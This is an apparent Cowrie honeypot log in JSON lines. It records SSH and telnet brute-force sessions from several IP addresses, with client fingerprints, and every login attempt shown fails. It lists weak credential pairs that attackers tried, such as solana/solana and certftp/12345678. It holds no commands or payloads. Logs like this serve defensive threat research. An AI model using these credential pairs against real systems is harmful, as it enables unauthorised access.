{"eventid":"cowrie.login.failed","username":"upload","password":"123456","message":"login attempt [upload/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:51.914377Z","src_ip":"157.10.160.221","session":"c1d1d098cbdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:53.162979Z","src_ip":"157.10.160.221","session":"c1d1d098cbdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":37616,"dst_ip":"10.17.0.5","dst_port":22,"session":"91629458ff55","protocol":"ssh","message":"New connection: 150.5.169.138:37616 (10.17.0.5:22) [session: 91629458ff55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:26.727348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:26.731299Z","src_ip":"150.5.169.138","session":"91629458ff55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:26.946105Z","src_ip":"150.5.169.138","session":"91629458ff55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"12345","message":"login attempt [nico/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:27.839996Z","src_ip":"150.5.169.138","session":"91629458ff55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:29.058097Z","src_ip":"150.5.169.138","session":"91629458ff55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":33992,"dst_ip":"159.203.135.109","dst_port":22,"session":"b498ab94e53e","protocol":"ssh","message":"New connection: 92.118.39.72:33992 (159.203.135.109:22) [session: b498ab94e53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:32.234069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:32.242628Z","src_ip":"92.118.39.72","session":"b498ab94e53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:32.340217Z","src_ip":"92.118.39.72","session":"b498ab94e53e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:32.851736Z","src_ip":"92.118.39.72","session":"b498ab94e53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:33.958699Z","src_ip":"92.118.39.72","session":"b498ab94e53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54334,"dst_ip":"159.203.135.109","dst_port":22,"session":"363afdcc4e18","protocol":"ssh","message":"New connection: 2.57.122.210:54334 (159.203.135.109:22) [session: 363afdcc4e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:52.019382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:52.023837Z","src_ip":"2.57.122.210","session":"363afdcc4e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:52.125310Z","src_ip":"2.57.122.210","session":"363afdcc4e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1","message":"login attempt [solana/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:52.423650Z","src_ip":"2.57.122.210","session":"363afdcc4e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:53.524382Z","src_ip":"2.57.122.210","session":"363afdcc4e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.96.89","src_port":39839,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5ddecc462b4","protocol":"telnet","message":"New connection: 212.55.96.89:39839 (10.17.0.5:23) [session: e5ddecc462b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:42:58.913517Z"}
{"eventid":"cowrie.session.closed","duration":14.389291286468506,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:13.302692Z","src_ip":"212.55.96.89","session":"e5ddecc462b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":52462,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c00b7e98fd","protocol":"ssh","message":"New connection: 118.219.234.233:52462 (10.17.0.5:22) [session: 70c00b7e98fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:18.675443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:18.678934Z","src_ip":"118.219.234.233","session":"70c00b7e98fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:18.862554Z","src_ip":"118.219.234.233","session":"70c00b7e98fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"certftp","password":"12345678","message":"login attempt [certftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:19.632066Z","src_ip":"118.219.234.233","session":"70c00b7e98fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:20.818172Z","src_ip":"118.219.234.233","session":"70c00b7e98fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47364,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a34e6cf9c35","protocol":"ssh","message":"New connection: 193.32.162.145:47364 (10.17.0.5:22) [session: 1a34e6cf9c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:32.972179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:33.041777Z","src_ip":"193.32.162.145","session":"1a34e6cf9c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:33.154821Z","src_ip":"193.32.162.145","session":"1a34e6cf9c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:33.480703Z","src_ip":"193.32.162.145","session":"1a34e6cf9c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:43:34.581125Z","src_ip":"193.32.162.145","session":"1a34e6cf9c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":48832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b00694bf5b03","protocol":"ssh","message":"New connection: 157.10.160.221:48832 (10.17.0.5:22) [session: b00694bf5b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:00.929930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:00.934687Z","src_ip":"157.10.160.221","session":"b00694bf5b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:01.174876Z","src_ip":"157.10.160.221","session":"b00694bf5b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayoub","password":"ayoub123","message":"login attempt [ayoub/ayoub123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:02.173649Z","src_ip":"157.10.160.221","session":"b00694bf5b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:03.418168Z","src_ip":"157.10.160.221","session":"b00694bf5b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":43962,"dst_ip":"159.203.135.109","dst_port":22,"session":"678a60381b24","protocol":"ssh","message":"New connection: 92.118.39.72:43962 (159.203.135.109:22) [session: 678a60381b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:48.076288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:48.081053Z","src_ip":"92.118.39.72","session":"678a60381b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:48.181371Z","src_ip":"92.118.39.72","session":"678a60381b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:48.599709Z","src_ip":"92.118.39.72","session":"678a60381b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:49.711884Z","src_ip":"92.118.39.72","session":"678a60381b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":51454,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e5c1068f0e","protocol":"ssh","message":"New connection: 150.5.169.138:51454 (10.17.0.5:22) [session: 38e5c1068f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:50.076944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:50.080626Z","src_ip":"150.5.169.138","session":"38e5c1068f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:50.295483Z","src_ip":"150.5.169.138","session":"38e5c1068f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"certftp","password":"12345678","message":"login attempt [certftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:51.187177Z","src_ip":"150.5.169.138","session":"38e5c1068f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:52.404209Z","src_ip":"150.5.169.138","session":"38e5c1068f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56912,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fcb32b39921","protocol":"ssh","message":"New connection: 2.57.122.210:56912 (159.203.135.109:22) [session: 6fcb32b39921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:57.973248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:44:57.977499Z","src_ip":"2.57.122.210","session":"6fcb32b39921","protocol":"ssh"}
